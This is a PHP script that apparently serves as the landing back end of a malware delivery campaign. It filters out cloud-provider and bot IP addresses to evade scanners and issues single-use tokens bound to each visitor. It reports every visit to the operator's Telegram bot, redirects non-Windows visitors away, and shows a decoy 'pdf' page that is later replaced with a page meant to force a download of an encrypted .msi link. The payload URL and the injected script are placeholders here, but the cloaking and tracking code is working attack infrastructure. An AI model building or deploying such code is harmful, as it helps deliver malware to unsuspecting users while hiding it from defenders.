<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
session_start();

$secretKey = 'd6f3a6e2b8c94e87b735c1a2d47f5e78';
$hmacKey   = 'd6f3a6e2b8c94e87b735c1a2d47f5e78';
$tokenStorage = __DIR__ . '/used-tokens.json';

$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$accept = $_SERVER['HTTP_ACCEPT'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];

// Basic header checks
if (empty($userAgent) || empty($accept) || stripos($accept, 'text/html') === false) {
    header('HTTP/1.0 403 Forbidden'); exit();
}

// Block known bots/cloud providers
$ipInfo = @json_decode(file_get_contents("https://ipinfo.io/{$ip}/json"), true);
if (isset($ipInfo['org']) && preg_match('/(amazon|google|digitalocean|ovh|azure|microsoft)/i', $ipInfo['org'])) {
    header('HTTP/1.0 403 Forbidden'); exit();
}

// Load existing tokens
$tokens = [];
if (file_exists($tokenStorage)) {
    $tokens = json_decode(file_get_contents($tokenStorage), true);
    if (!is_array($tokens)) $tokens = [];
}

$uri = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');
$parts = explode('/', $uri);
$lastSegment = end($parts);

// Step 1: Issue a new token
if ($lastSegment === 'ftx' || $lastSegment === 'index.php') {
    $random = substr(str_shuffle("abcdefghijklmnopqrstuvwxyz0123456789"), 0, 6);
    $timestamp = time();
    $data = $random . '-' . $timestamp;
    $hmac = hash_hmac('sha256', $data, $hmacKey);
    $token = $random . '-' . $timestamp . '-' . substr($hmac, 0, 12);

    $dummyUrl = 'https://example.com/dummy.msi';

    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($dummyUrl, 'aes-256-cbc', hex2bin($secretKey), OPENSSL_RAW_DATA, $iv);
    $payload = base64_encode($iv . $encrypted);

    $tokens[$token] = ['ip' => $ip, 'ua' => $userAgent, 'ts' => $timestamp];
    file_put_contents($tokenStorage, json_encode($tokens, JSON_PRETTY_PRINT));

    header('Location: /ftx/' . $token . '/?redir=' . urlencode($payload));
    exit();
}

// Step 2: Validate token and serve with JS download
if (preg_match('/^([a-z0-9]{6})-([0-9]{10})-([a-f0-9]{12})$/', $lastSegment, $matches)) {
    $token = $matches[0];

    if (!isset($tokens[$token])) {
        header('HTTP/1.0 403 Forbidden'); exit();
    }

    $tokenData = $tokens[$token];
    $expectedHmac = substr(hash_hmac('sha256', $matches[1] . '-' . $matches[2], $hmacKey), 0, 12);
    $currentTime = time();
    $maxAge = 300;

    if (
        abs($currentTime - $tokenData['ts']) > $maxAge ||
        $expectedHmac !== $matches[3] ||
        $tokenData['ip'] !== $ip ||
        $tokenData['ua'] !== $userAgent
    ) {
        header('HTTP/1.0 403 Forbidden'); exit();
    }

    // Token used, remove it
    unset($tokens[$token]);
    file_put_contents($tokenStorage, json_encode($tokens, JSON_PRETTY_PRINT));

    if (!isset($_GET['redir'])) {
        header('HTTP/1.0 403 Forbidden'); exit();
    }

    // === BEGIN TELEGRAM NOTIFICATION ===

    // Load Telegram credentials
    $telegramConfig = include(__DIR__ . '/cid.php');
    $botToken = $telegramConfig['bot_id'];
    $chatId = $telegramConfig['chat_id'];

    // Update download counter
    $counterFile = __DIR__ . '/counter.txt';
    $count = 1;
    if (file_exists($counterFile)) {
        $count = (int)file_get_contents($counterFile) + 1;
    }
    file_put_contents($counterFile, $count);

    // IP location
    $location = "P: https://ip-api.com/{$ip}";

    // Telegram message
    $message = <<<EOT
ðŸ“¥ * 🦠  New visit from campaign*
Total visit from campaign: {$count}
{$location}
User-Agent: {$userAgent}
EOT;

    $telegramUrl = "https://api.telegram.org/bot{$botToken}/sendMessage";
    $postFields = [
        'chat_id' => $chatId,
        'text' => $message,
        'parse_mode' => 'Markdown'
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $telegramUrl);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_exec($ch);
    curl_close($ch);

    // === END TELEGRAM NOTIFICATION ===

    // Force download injection
    // Detect OS from User-Agent
$ua = strtolower($userAgent);
$isMac     = strpos($ua, 'macintosh') !== false || strpos($ua, 'intel mac os') !== false;
$isIphone  = strpos($ua, 'iphone') !== false;
$isAndroid = strpos($ua, 'android') !== false;
$isWindows = strpos($ua, 'windows') !== false;

if ($isMac || $isIphone || $isAndroid) {
    // Redirect for macOS, iOS, Android
    header('Location: https://bucheinitiative.org/ftx/error.html');
    exit();
}

$injection = "";   // no script injected

$pagePath = __DIR__ . '/page.html';
$pageContent = null;
if (file_exists($pagePath)) {
    $pageContent = file_get_contents($pagePath);
    if (stripos($pageContent, '</body>') !== false) {
        $pageContent = str_ireplace('</body>', $injection . "\n</body>", $pageContent);
    } else {
        $pageContent .= $injection;
    }
} else {
    // fallback page content if page.html missing
    $pageContent = '<html><body><p>page.html not found.</p></body></html>';
}

// Now, if pdf.html exists, serve it immediately and after 3s replace with the prepared pageContent.
// We safely JSON-encode $pageContent so it can be embedded into JS.
$pdfPath = __DIR__ . '/pdf.html';
if (file_exists($pdfPath)) {
    $pdfContent = file_get_contents($pdfPath);

    // JSON-encode here to safely escape quotes/newlines for embedding in JS
    $pageContentJs = json_encode($pageContent);

    $swapScript = <<<EOT
<script>
    // After 3 seconds, replace the current document with the prepared page HTML (which includes the injection).
    (function(){
        var newHtml = {$pageContentJs};
        setTimeout(function(){
            // Replace current document; this will execute inline scripts in the new HTML.
            document.open();
            document.write(newHtml);
            document.close();
        }, 5000);
    })();
</script>
EOT;

    // Inject the swap script into pdfContent so the client will run it
    if (stripos($pdfContent, '</body>') !== false) {
        $pdfContent = str_ireplace('</body>', $swapScript . "\n</body>", $pdfContent);
    } else {
        $pdfContent .= $swapScript;
    }

    header("Content-Type: text/html; charset=utf-8");
    echo $pdfContent;
    exit();
}

// If pdf.html doesn't exist, immediately serve the pageContent (with injection)
header("Content-Type: text/html; charset=utf-8");
echo $pageContent;
exit();
}

header('HTTP/1.0 403 Forbidden'); exit();
?>